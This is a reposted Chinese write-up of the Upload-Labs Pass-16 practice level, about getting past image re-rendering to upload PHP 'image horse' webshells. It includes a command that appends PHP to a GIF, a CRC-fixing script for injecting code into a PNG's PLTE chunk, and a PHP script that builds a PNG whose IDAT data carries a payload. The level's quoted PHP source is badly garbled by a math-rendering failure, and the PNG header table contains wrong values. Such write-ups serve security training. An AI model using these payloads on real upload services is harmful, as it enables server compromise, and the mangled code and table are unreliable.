看到一篇不错的文章分享下
原文:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
Upload-Labs第Pass-16通关(二次渲染绕过) 详解
由于Pass-16通关有点复杂,我就特意单独把这关拿出来详解一下!
不过我在看了Pass-16的源码后,发现了一些有意思的东西。
else if((KaTeX parse error: Expected 'EOF', got '&' at position 19: …eext == "gif") &̲& (filetype==“image/gif”)){
if(move_uploaded_file(
t
m
p
n
a
m
e
,
tmpname,
tmpname,target_path)){
//使用上传的图片生成新的图片
i
m
=
i
m
a
g
e
c
r
e
a
t
e
f
r
o
m
g
i
f
(
im = imagecreatefromgif(
im=imagecreatefromgif(target_path);
if($im == false){
m
s
g
=
"
该
文
件
不
是
g
i
f
格
式
的
图
片
!
"
;
@
u
n
l
i
n
k
(
msg = "该文件不是gif格式的图片!"; @unlink(
msg="该文件不是gif格式的图片!";@unlink(target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
i
m
g
p
a
t
h
=
U
P
L
O
A
D
P
A
T
H
.
′
/
′
.
img_path = UPLOAD_PATH.'/'.
imgpath=UPLOADPATH.′/′.newfilename;
imagegif(
i
m
,
im,
im,img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
第1行检测 f i l e e x t 和 fileext和 fileext和filetype是否为gif格式。
然后3行使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败。
在这里有一个问题:如果作者是想考察绕过二次渲染的话,在move_uploaded_file( t m p n a m e , tmpname, tmpname,target_path)返回true的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染并不会影响到图片马的上传。如果是想考察文件后缀和content-type的话,那么二次渲染的代码就很多余。(到底考点在哪里?只有作者清楚。)
由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片。
我看过的writeup都是直接由move_uploaded_file函数上传的图片马,今天我们把 move_uploaded_file这个判断条件去除,然后:尝试上传图片马?
一、上传GIF
1、先制作一个图马,将phpinfo添加到 111.gif 图片的尾部;cmd命令:
copy fujieace.gif /b + phpinfo.php /a 111.gif
将phpinfo添加到 111.gif 图片的尾部
2、上传含有一句话的111.gif,但是这并没有成功,我们将上传的图片下载到本地。
gif图片
3、可以看到下载下来的文件名已经变化,所以这是经过二次渲染的图片,我们使用16进制编辑器将其打开。
gif末端添加的php代码已经被去除
可以发现,我们在gif末端添加的php代码已经被去除。
4、关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。
蓝色部份代码
经过对比,蓝色部分是没有发生变化的。
5、我们将php代码写到该位置,也就是蓝色的部份。
将php代码写到该位置,也就是蓝色的部份。
6、现在上传就会成功了,不信可以上传后在下载到本地使用16进制编辑器打开。
php图片马
可以看到php代码没有被去除,成功上传图片马!
二、上传PNG
png的二次渲染的绕过并不能像gif那样简单。
png文件组成
png图片由3个以上的数据块组成。
PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。
数据块结构
名称 字节数 说明
Length(长度) 4字节 指定数据块中数据域的长度,其长度不超过(2的31次方-1)字节
Chunk Type Code(数据块类型码) 4字节 数据块类型码由ASCII字母(A-Z和a-z)组成
Chunk Data(数据块数据) 可变长度 存储按照Chunk Type Code指定的数据
CRC(循环冗余检测) 4字节 存储用来检测是否有错误的循环冗余码
CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:
x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1
分析数据块
IHDR
数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。
文件头数据块由13字节组成,它的格式如下所示。
域的名称 字节数 说明
Width 4 bytes 图像宽度,以像素为单位
Height 4 bytes 图像高度,以像素为单位
Bit depth 1 bytes 图像尝试:
索引彩色图像:1,2,4或8
灰度图像:1,2,4,8或6
真彩图像:8或16
ColorType 1 bytes 颜色类型:
灰度图像:1,2,4,8或16
真彩色图像:8或16
索引彩色图像:1,2,4或8
带a通道数据的灰度图像:8或16
带a通道数据的真彩色图像:8或16
Compression method 4 bytes 压缩方法(LZ777派生算法)
Filter method 4 bytes 滤波器方法
Interlace method 4 bytes 隔行扫描方法:
非隔行扫描
Adam7(由Adam M.Costello开发的7遍隔行扫描方法)
PLTE
调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。
IDAT
图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。
IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像
IEND
图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。
如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:
00 00 00 00 49 45 4E 44 AE 42 60 82
写入php代码
在网上找到了两种方式来制作绕过二次渲染的png木马。
第一种方法:写入PLTE数据块
php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。
这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。
1、在PLTE数据块写入php代码;在PLTE数据块写入php代码
2、计算PLTE数据块的CRC;
CRC脚本
import binascii
import re
png = open(r’2.png’,‘rb’)
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
‘’’ PLTE crc ‘’’
data = ‘504c5445’+ re.findall(‘504c5445(.*?)49444154’,hexstr)[0]
crc = binascii.crc32(data[:-16].decode(‘hex’)) & 0xffffffff
print hex(crc)
运行结果:
526579b0
3、修改CRC值;修改CRC值
4、验证;
将修改后的png图片上传后,下载到本地再打开。png图片二次渲染
第二种方法:写入IDAT数据块
这里有国外大牛写的脚本,直接拿来运行即可。
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>运行后得到1.png,上传后再下载到本地打开如下图:
png写入IDAT数据块
三、上传jpg
这里也采用国外大牛编写的脚本 jpg_payload.php
?>
1、随便找一个jpg图片,先上传至服务器然后再下载到本地保存为 1.jpg ;
2、插入php代码;使用脚本处理1.jpg,命令:
php jpg_payload.php 1.jpg
使用16进制编辑器打开,就可以看到插入的php代码;jpg图片二次渲染绕过
3、上传图片马;将生成的 payload_1.jpg上传。
4、验证;将上传的图片再次下载到本地,使用16进制编辑器打开。jpg图片二次渲染绕过
可以看到,php代码没有被去除,证明我们成功上传了含有php代码的jpg图片。
注意:有一些jpg图片不能被处理,所以要多尝试一些jpg图片。